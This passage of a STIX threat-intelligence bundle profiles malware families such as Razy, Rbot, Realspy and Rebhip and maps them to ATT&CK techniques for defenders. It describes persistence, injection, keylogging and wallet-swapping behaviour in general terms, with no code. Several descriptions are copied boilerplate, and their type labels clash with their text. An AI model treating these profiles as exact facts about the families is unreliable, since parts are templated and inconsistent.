      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a073df7b-1a13-51bd-9653-f699a161f7f1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rastabaf exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c262f96b-d9bd-57db-b259-1c1147e8ad49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a073df7b-1a13-51bd-9653-f699a161f7f1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rastabaf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33d570c5-a112-5999-82a4-478b4a4b9822",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a073df7b-1a13-51bd-9653-f699a161f7f1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rastabaf exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfb949d8-fec4-5265-8ae7-fb8ca3e743c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a073df7b-1a13-51bd-9653-f699a161f7f1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rastabaf exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4589ff9-8dcc-50b6-9f93-74ff31c8c3bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rastarby",
      "description": "Trojan:Win32/Rastarby is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rastarby</b><br>To an end-user, a Rastarby infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rastarby is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rastarby is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rastarby frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rastarby reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rastarby",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rastarby"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c113717-322b-55e7-b549-f7e6ad359daf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4589ff9-8dcc-50b6-9f93-74ff31c8c3bf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rastarby exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8370894-7eaa-538a-be9e-5373e6edf9dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4589ff9-8dcc-50b6-9f93-74ff31c8c3bf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rastarby exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca46e25f-0305-5dd3-9dbd-fccd4e746a14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4589ff9-8dcc-50b6-9f93-74ff31c8c3bf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rastarby exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c6fd700-24a8-5a06-9771-eb351452dd94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4589ff9-8dcc-50b6-9f93-74ff31c8c3bf",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rastarby exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52eb64a5-f319-5e0a-9d4d-0d02fe946eb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4589ff9-8dcc-50b6-9f93-74ff31c8c3bf",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rastarby exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4e889fb5-a724-5ce3-bf09-4786d76b10d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ravs",
      "description": "Trojan:Win32/Ravs is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ravs</b><br>To an end-user, a Ravs infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ravs is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ravs is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ravs frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ravs reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ravs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ravs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dedead0-4cae-5395-baf8-45f66a2307d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e889fb5-a724-5ce3-bf09-4786d76b10d9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ravs exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e25010e-3734-5c7a-b3a1-5a6e6b0843ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e889fb5-a724-5ce3-bf09-4786d76b10d9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ravs exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--412d05f6-dc18-5b2c-b904-582776ef0495",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e889fb5-a724-5ce3-bf09-4786d76b10d9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ravs exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd7bc003-1154-556e-8ca6-51e348c53568",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e889fb5-a724-5ce3-bf09-4786d76b10d9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ravs exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--900872c1-7128-59b6-8ea7-2d11f1408d6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e889fb5-a724-5ce3-bf09-4786d76b10d9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ravs exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0885d31d-68e4-5813-a822-62d02d0a7ca3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Razy",
      "description": "Razy (cataloged across cybersecurity research as Trojan:Win32/Razy, Trojan.Win32.Razy, and Trojan.Razy.gen) is a sophisticated Windows trojan and information stealer specialized in compromising web browsers, hijacking cryptocurrency transactions, and installing persistent rogue browser extensions. First analyzed in depth by Kaspersky in 2018, Razy targets Google Chrome, Mozilla Firefox, and Yandex Browser by patching internal browser dynamic-link libraries (such as chrome.dll) to permanently disable extension integrity verification and automatic security updates. It then forcefully installs rogue extensions (or subverts legitimate system components like the Chrome Media Router) to execute script injection and Man-in-the-Browser (MitB) attacks. Razy continuously monitors browsing activity on cryptocurrency exchange and wallet portals, replacing destination Bitcoin, Ethereum, and Monero wallet addresses in the user's clipboard or active DOM fields with threat-actor controlled addresses. Razy droppers are heavily distributed through malicious software cracks, keygens, and malvertising campaigns weaponizing CVE-2018-0802 and CVE-2017-11882. (Observed samples in benchmark: 3,391)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Razy",
        "Trojan.Win32.Razy",
        "Trojan.Razy.gen",
        "Win32/Razy.Stealer",
        "Trojan.Razy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Razy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/razy"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--102528e9-ed62-57e3-9060-eefb9ebced26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0885d31d-68e4-5813-a822-62d02d0a7ca3",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Razy exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e8f7e40-6fdf-5daa-8124-cf820676aa0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0885d31d-68e4-5813-a822-62d02d0a7ca3",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Razy exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb4b8118-b3cf-5267-91d7-0f50f3284928",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0885d31d-68e4-5813-a822-62d02d0a7ca3",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Razy exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef888f68-723e-53dd-9d7a-de8e9797231b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0885d31d-68e4-5813-a822-62d02d0a7ca3",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Razy exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64261fce-0d2c-5dbf-b103-4e77f1a509c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0885d31d-68e4-5813-a822-62d02d0a7ca3",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Razy exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de09459a-b957-52b8-82f2-917ffa6c894b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0885d31d-68e4-5813-a822-62d02d0a7ca3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Razy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e252481a-8e5f-54e1-b053-b7788b9626aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0885d31d-68e4-5813-a822-62d02d0a7ca3",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Razy exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8db6a8fa-d21f-58c5-9214-19ea3276a235",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rbot",
      "description": "Rbot (widely cataloged across vendor telemetry as Backdoor:Win32/Rbot, W32.Spybot, Worm:Win32/Rbot, and RxBot) is one of the most prolific and historically significant modular IRC botnet frameworks in cybersecurity history. Active since 2003 following public leaks of its modular C++ source code, Rbot spawned thousands of customized variants across underground hacking networks. Designed as a versatile multi-tool for unauthorized network exploitation, Rbot combines an autonomous worm propagation engine, a backdoor listener, and distributed denial-of-service (DDoS) capabilities. It spreads autonomously across local subnets and external IP ranges by scanning and weaponizing legacy Windows RPC, NetBIOS, and SMB vulnerabilities (such as MS04-011 and MS08-067) alongside dictionary-based password brute forcing. Once installed, Rbot copies itself to the Windows System32 directory, registers Registry Run autostart keys, and connects to hardcoded IRC servers. Botmasters issue commands over password-protected IRC channels to coordinate SYN/UDP packet floods, log keystrokes, harvest CD keys and credentials, and stage secondary malware binaries. (Observed samples in benchmark: 109)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Rbot",
        "W32.Spybot",
        "Worm:Win32/Rbot",
        "Trojan.Win32.Rbot",
        "Win32/Rbot",
        "RxBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rbot"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca7dd33f-eebe-5478-a9b7-b465dc3fbeef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8db6a8fa-d21f-58c5-9214-19ea3276a235",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rbot exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cce8132-a83e-5846-8843-d06c7b474dd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8db6a8fa-d21f-58c5-9214-19ea3276a235",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rbot exhibits technique T1210 (Exploitation of Remote Services)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cfcbaf3-039a-5cb7-a5e2-9dc61f54d898",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8db6a8fa-d21f-58c5-9214-19ea3276a235",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rbot exhibits technique T1498 (Network Denial of Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a4809f8-5bfe-5660-8333-137cb81dee0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8db6a8fa-d21f-58c5-9214-19ea3276a235",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rbot exhibits technique T1110.001 (Brute Force: Password Guessing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18234ec4-c036-51ac-a526-420dd84854bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8db6a8fa-d21f-58c5-9214-19ea3276a235",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rbot exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--129e48b5-da30-522b-92b9-2e149f64b3c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8db6a8fa-d21f-58c5-9214-19ea3276a235",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rbot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b6571e07-9a67-5f22-8550-a27269b70c67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Realspy",
      "description": "<h3>Executive Summary</h3>\nRealSpy is a commercially available software application marketed for employee monitoring and parental control. However, due to its deep system hooking capabilities, covert operation mode, and the ability to log highly sensitive data (keystrokes, screenshots, clipboard contents), it is broadly classified by the security industry as \"Riskware\" or a Potentially Unwanted Program (PUP) operating as a commercial keylogger.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nBecause RealSpy is commercial software, it is downloaded from the vendor's website. However, in an enterprise context, it becomes a severe security threat when installed covertly by an unauthorized party (e.g., an insider threat, a jealous partner, or a threat actor who has gained local access to the machine).\n\nWhen configured for \"stealth\" monitoring, RealSpy employs significant surveillance capabilities:\n<ul>\n<li><strong>Comprehensive Keylogging:</strong> The software hooks into the Windows operating system at a low level to record every keystroke made by the user, explicitly including passwords, financial details, and private communications.</li>\n<li><strong>Screen and Clipboard Capture:</strong> It takes continuous or triggered screenshots of the user's desktop and logs the contents of the system clipboard.</li>\n<li><strong>Covert Exfiltration:</strong> The software can be configured to run completely hidden from the user (no system tray icon, hidden from Task Manager). It then exfiltrates the logged data to a cloud dashboard or via email to the person who installed it.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of RealSpy on a corporate endpoint is a critical breach of privacy and a massive data exfiltration risk. A commercial keylogger captures everything, bypassing encryption and multi-factor authentication (as it captures the data before it is sent or after it is decrypted on the screen).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Investigate the Source:</strong> The presence of a commercial keylogger strongly implies an \"insider threat\" or unauthorized local access. HR and Legal teams should be involved to investigate who purchased the license and installed the software.</li>\n<li><strong>Credential Reset:</strong> All passwords typed on that machine while the software was active must be considered compromised. A global credential reset is required.</li>\n<li><strong>Uninstallation and Verification:</strong> The software can typically be uninstalled via the Control Panel (if the uninstaller is accessible) or removed using a reputable enterprise anti-malware solution. Ensure that the associated services and registry keys (`HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) are fully purged.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.RealSpy",
        "Keylogger.RealSpy",
        "Monitor.RealSpy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Realspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/realspy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--036bcb96-6d63-5622-8c40-b09aebfd6ef5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6571e07-9a67-5f22-8550-a27269b70c67",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Realspy exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91682f85-d147-5683-b058-fe0d71e55390",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6571e07-9a67-5f22-8550-a27269b70c67",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Realspy exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5407db14-55d5-5470-b098-905a6cb4e487",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6571e07-9a67-5f22-8550-a27269b70c67",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Realspy exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e7726e6-f624-5d60-9d05-c50e7ed53c87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b6571e07-9a67-5f22-8550-a27269b70c67",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Realspy exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a3c83173-a98b-54da-8a14-2d462933e8ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rebhip",
      "description": "Worm:Win32/Rebhip is a stealthy dual-threat worm and keylogging trojan discovered in 2011 that proliferates via removable USB drives and unsecured local network shares. Rebhip utilizes the Windows Shell shortcut deception technique: it sets the hidden system attribute (+h +s) on legitimate user directories and creates malicious .lnk shortcut files using identical folder icons pointing to the Rebhip binary. Once executed on a target host, Rebhip injects into svchost.exe, achieves persistence via the Run registry key, hooks user keystrokes, and periodically transmits stolen corporate credentials and system reconnaissance data to remote C2 servers over HTTP while receiving secondary download instructions. (Observed samples in benchmark: 120)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rebhip",
        "Worm:Win32/Rebhip",
        "W32/Rebhip",
        "Trojan.Rebhip",
        "Worm.Win32.Rebhip",
        "Rebhip.A",
        "Rebhip.B"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rebhip",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rebhip"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13dd9289-5cc4-54d3-b38a-a177d6e534da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c83173-a98b-54da-8a14-2d462933e8ca",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
